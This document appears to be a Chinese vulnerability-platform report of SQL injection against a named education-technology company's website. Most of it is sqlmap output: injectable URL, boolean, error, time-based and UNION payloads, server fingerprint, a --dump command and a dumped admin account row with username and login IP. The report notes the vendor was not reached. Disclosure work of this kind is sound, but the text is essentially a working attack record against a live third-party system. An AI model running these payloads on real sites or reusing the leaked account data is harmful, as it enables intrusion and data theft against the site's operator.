上海首智资讯科技SQL注入

汇科集团 成立于 1996 年,总部位于香港,实力雄厚,是全香港最大的教育系统供应商。 2000 年起至今，每年都被微软授予Microsoft Certified Partner 称号及 Microsoft Networking Infrastructure Solutions Competency 证书， 同时在产品质量、行政管理及售后服务方面， 我们亦于2005年取得 ISO9001：2000 专业资格证书， 确保用户满意本集团提供的产品及服务。

集团自成立以来,一直致力于为教育界提供完整的网络化语言中心 (E-Language Center） 、信息化学习中心 （ITLC, Information Technology Learning Center） 、校园网管理系统 （SAMS, School Administrator & Management System)、 校园电视台 （eCampus TV)等解决方案， 目前已经为中国大陆各省、港澳台地区、亚洲、北美、欧洲、澳大利亚、非洲等全球60多个国家和地区的各类教育机构提供了先进的教学产品和完善的服务。

注入点

http://www.sozi.com.cn/newsContent.php?id=25"

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=25' AND 7705=7705 AND 'OkNF'='OkNF

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: id=25' AND (SELECT 9795 FROM(SELECT COUNT(*),CONCAT(0x71626b6b71,(SELECT (ELT(9795=9795,1))),0x7171767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'eKcZ'='eKcZ

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

Payload: id=25' AND (SELECT * FROM (SELECT(SLEEP(5)))JSRT) AND 'elmz'='elmz

Type: UNION query

Title: Generic UNION query (NULL) - 9 columns

Payload: id=-5872' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71626b6b71,0x4d476646526c4f5966445246556c75724b6d53526c655863564e4b457561464c704e50644c7a584b,0x7171767071),NULL,NULL,NULL,NULL-- -

---

[00:10:13] [INFO] testing MySQL

[00:10:13] [INFO] confirming MySQL

[00:10:13] [INFO] the back-end DBMS is MySQL

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, PHP 5.2.11, Microsoft IIS 6.0

back-end DBMS: MySQL >= 5.0.0

[00:10:13] [INFO] fetching columns for table 'user' in database 'website'

[00:10:14] [INFO] the SQL query used returns 22 entries

[00:10:14] [INFO] retrieved: "id","int(11)"

[00:10:14] [INFO] retrieved: "username","varchar(50)"

[00:10:14] [INFO] retrieved: "password","varchar(50)"

[00:10:14] [INFO] retrieved: "nickname","varchar(100)"

[00:10:15] [INFO] retrieved: "department","int(11)"

[00:10:15] [INFO] retrieved: "position","varchar(100)"

[00:10:15] [INFO] retrieved: "sex","int(11)"

[00:10:15] [INFO] retrieved: "face","varchar(200)"

[00:10:15] [INFO] retrieved: "score","int(11)"

[00:10:15] [INFO] retrieved: "qq","int(11)"

[00:10:15] [INFO] retrieved: "tel","varchar(200)"

[00:10:16] [INFO] retrieved: "email","varchar(100)"

[00:10:16] [INFO] retrieved: "address","varchar(250)"

[00:10:16] [INFO] retrieved: "skill","text"

[00:10:16] [INFO] retrieved: "content","text"

[00:10:17] [INFO] retrieved: "money","int(11)"

[00:10:18] [INFO] retrieved: "flag","int(11)"

[00:10:18] [INFO] retrieved: "regtime","date"

[00:10:18] [INFO] retrieved: "loginip","varchar(50)"

[00:10:19] [INFO] retrieved: "dire","varchar(150)"

[00:10:19] [INFO] retrieved: "publication","varchar(200)"

[00:10:19] [INFO] retrieved: "lang","varchar(20)"

Database: website

Table: user

[22 columns]

+-------------+--------------+

| Column | Type |

+-------------+--------------+

| position | varchar(100) |

| address | varchar(250) |

| content | text |

| department | int(11) |

| dire | varchar(150) |

| email | varchar(100) |

| face | varchar(200) |

| flag | int(11) |

| id | int(11) |

| lang | varchar(20) |

| loginip | varchar(50) |

| money | int(11) |

| nickname | varchar(100) |

| password | varchar(50) |

| publication | varchar(200) |

| qq | int(11) |

| regtime | date |

| score | int(11) |

| sex | int(11) |

| skill | text |

| tel | varchar(200) |

| username | varchar(50) |

+-------------+--------------+

Database: website

+--------+---------+

| Table | Entries |

+--------+---------+

| `user` | 1 |

+--------+---------+

[00:10:19] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.sozi.com.cn'

[*] shutting down at 00:10:19

:~# sqlmap -u "http://www.sozi.com.cn/newsContent.php?id=25" --level 3 --risk 3 --dbms mysql -D "website" --count -T "user" --dump

_

___ ___| |_____ ___ ___ {1.0-dev-nongit-201601030a89}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 00:11:15

[00:11:16] [INFO] testing connection to the target URL

[00:11:17] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=25' AND 7705=7705 AND 'OkNF'='OkNF

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: id=25' AND (SELECT 9795 FROM(SELECT COUNT(*),CONCAT(0x71626b6b71,(SELECT (ELT(9795=9795,1))),0x7171767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'eKcZ'='eKcZ

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

Payload: id=25' AND (SELECT * FROM (SELECT(SLEEP(5)))JSRT) AND 'elmz'='elmz

Type: UNION query

Title: Generic UNION query (NULL) - 9 columns

Payload: id=-5872' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71626b6b71,0x4d476646526c4f5966445246556c75724b6d53526c655863564e4b457561464c704e50644c7a584b,0x7171767071),NULL,NULL,NULL,NULL-- -

---

[00:11:18] [INFO] testing MySQL

[00:11:18] [INFO] confirming MySQL

[00:11:18] [INFO] the back-end DBMS is MySQL

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, PHP 5.2.11, Microsoft IIS 6.0

back-end DBMS: MySQL >= 5.0.0

Database: website

+--------+---------+

| Table | Entries |

+--------+---------+

| `user` | 1 |

+--------+---------+

[00:11:18] [INFO] fetching columns for table 'user' in database 'website'

[00:11:18] [INFO] the SQL query used returns 22 entries

[00:11:18] [INFO] fetching entries for table 'user' in database 'website'

[00:11:18] [INFO] the SQL query used returns 1 entries

[00:11:19] [INFO] retrieved: "管理员"," "," ","1"," "," "," ","1","1","cn","180.174.217.193"," "...

[00:11:19] [INFO] analyzing table dump for possible password hashes

Database: website

Table: user

[1 entry]

+----+----+------+-----+------+------+------+------+-------+-------+-------+-------+-----------------+------------+---------+---------+----------+-----------+----------+------------+------------+-------------+

| id | qq | tel | sex | flag | dire | lang | face | money | skill | score | email | loginip | regtime | content | address | username | password | nickname | department | position | publication |

+----+----+------+-----+------+------+------+------+-------+-------+-------+-------+-----------------+------------+---------+---------+----------+-----------+----------+------------+------------+-------------+

| 1 | 0 | NULL | 1 | 1 | NULL | cn | NULL | NULL | NULL | NULL | NULL | 180.174.217.193 | 0000-00-00 | NULL | NULL | root | | 管理员 | 1 | 管理员 | NULL |

+----+----+------+-----+------+------+------+------+-------+-------+-------+-------+-----------------+------------+---------+---------+----------+-----------+----------+------------+------------+-------------+

xxx

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：8 (WooYun评价)